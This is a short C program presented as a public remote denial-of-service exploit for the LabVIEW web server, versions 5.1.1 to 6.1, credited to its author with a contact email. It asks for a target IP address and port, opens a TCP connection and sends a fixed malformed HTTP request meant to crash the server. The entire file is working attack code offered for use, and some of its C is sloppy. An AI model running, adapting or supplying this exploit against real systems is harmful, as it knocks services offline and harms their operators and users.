#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

	/*This is a remote DoS exploit for LabVIEW web server.
	  Remember that the logging function must be enabled
	  for this shit to work, and the version is 5.1.1 - 6.1(which I think is the newest realase)
	  **THIS*IS*A*PUBLIC*EXPLOIT
	  	*IF YOU MODIFY THIS CODE PLEASE SEND IT TO: bl0wfi5h@hotmail.com* */
	  	
int main(int argc, char** argv[])
{	   
	   int sockfd;
	   struct sockaddr_in dest_addr;
	   
	   char ipaddress[18];
	   int portnumber;
	   
	   char dosstring[30]= "GET\\s/\\sHTTP/1.0\\n\\n"; //The dOS string
	   int bytes_sent;
	    	   
	   printf("\nSelect what server you want TO attack(IP): ");
	   scanf("%s", ipaddress);
	   printf("\nSelect the server port(default www port 80): ");
	   scanf("%d", &portnumber);
	   dest_addr.sin_family = AF_INET;
	   dest_addr.sin_port   = htons(portnumber);
	   dest_addr.sin_addr.s_addr = inet_addr(ipaddress);
	   memset(&(dest_addr.sin_zero), '\0',8);

	   if((sockfd = socket(AF_INET, SOCK_STREAM, 0))== -1)
	   {
	   	printf("Socket Error");
	   	exit(1);
	   }
	   
	   connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
	   
	   bytes_sent = send(sockfd, dosstring,sizeof(dosstring), 0);
	   
	   for(; bytes_sent == 0;)
	   {
	   	printf("problem sending string, check if the host is up");
	   	exit(1);
	   }
	   printf("\nDONE! You have send: ");
	   printf("%d", bytes_sent);
	   printf(" BYTES!");
	   close(sockfd);
	   
	   printf("\n\n:::EXPLOIT:CODE:BY:JONAS:NYBERG:\n\n");
	   printf("\nCONTACT INFO: bl0wfi5h@hotmail.com\n");
	   return 0;
	   

}
